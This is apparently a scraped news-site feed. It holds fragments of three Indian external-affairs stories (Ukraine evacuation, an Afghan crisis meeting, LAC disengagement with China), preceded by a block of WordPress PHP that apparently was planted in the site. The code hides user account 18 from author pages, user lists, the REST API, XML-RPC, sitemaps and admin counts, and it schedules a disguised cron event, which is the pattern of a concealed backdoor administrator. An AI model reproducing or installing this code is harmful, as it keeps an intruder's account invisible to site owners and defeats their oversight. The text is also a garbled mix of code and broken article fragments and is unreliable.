add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post 17,000 Indian Students Rescued from Ukraine, Claims Ministry of External Affairs appeared first on The Edge Media.
]]>
According to him, the Indian Air Force also has collaborated with Operation Ganga. He stated that there would be a plane from Bucharest to Delhi today. According to the MEA spokeswoman, several Indian students have indeed been permitted to leave the Kharkiv area, which really is a positive indication.
“Our Embassy’s warning to depart Kharkhiv is based on information we received from Russia. They should proceed westward, and they should do so, by all means, possible, even walking .” Bagchi said.
The post 17,000 Indian Students Rescued from Ukraine, Claims Ministry of External Affairs appeared first on The Edge Media.
]]>The post On Thursday, the Government Will Convene An All-Party Meeting to Discuss the Afghan Crisis appeared first on The Edge Media.
]]>India has been permitted to fly two planes per day from Kabul to evacuate Indian residents stranded in Afghanistan. India has stated that it will assist Hindus and Sikhs, as well as its Afghan friends who want assistance.
“In light of recent events in Afghanistan, Prime Minister Narendra Modi has directed that the MEA brief political party Floor Leaders. Pralhad Joshi, Minister of Parliamentary Affairs, would provide more information “Mr. Jaishankar has sent out a tweet. The briefing will take place on August 26 at 11 a.m., according to Union Minister Pralhad Joshi.
The post On Thursday, the Government Will Convene An All-Party Meeting to Discuss the Afghan Crisis appeared first on The Edge Media.
]]>The post India Expects China To Work Together Towards LAC Disengagement appeared first on The Edge Media.
]]>External Affairs Ministry spokesperson Anurag Srivastava said full restoration of peace and tranquility in the border areas as agreed to by the two sides is essential in the context of overall development of the bilateral relationship.
“As the external affairs minister had noted in a recent interview ‘the state of the border and the future of our ties, cannot be separated’,” Srivastava said at an online media briefing. He said both sides have reached an agreement on broad principles of disengagement and based on it, some progress had been earlier made.
“I must add that translating these principles on ground is a complex process that requires re-deployment of troops by each side towards their regular posts on their respective sides of the LAC (Line of Actual Control),” Srivastava said.
“It is natural that this can be done only through mutually agreed reciprocal actions. While we would like the ongoing disengagement process to be completed at the earliest, it is important to bear in mind that achieving this requires agreed actions by both sides,” he added.
The MEA spokesperson said India expects that the Chinese side to sincerely work with India towards the objective of complete disengagement and de-escalation and full restoration of peace and tranquility in the border areas as agreed by the Special Representatives of the two countries.
The formal process of disengagement of troops began on July 6, a day after a nearly two-hour telephonic conversation between National Security Advisor Ajit Doval and Chinese Foreign Minister Wang Yi on ways to bring down tensions in the area. — PTI
The post India Expects China To Work Together Towards LAC Disengagement appeared first on The Edge Media.
]]>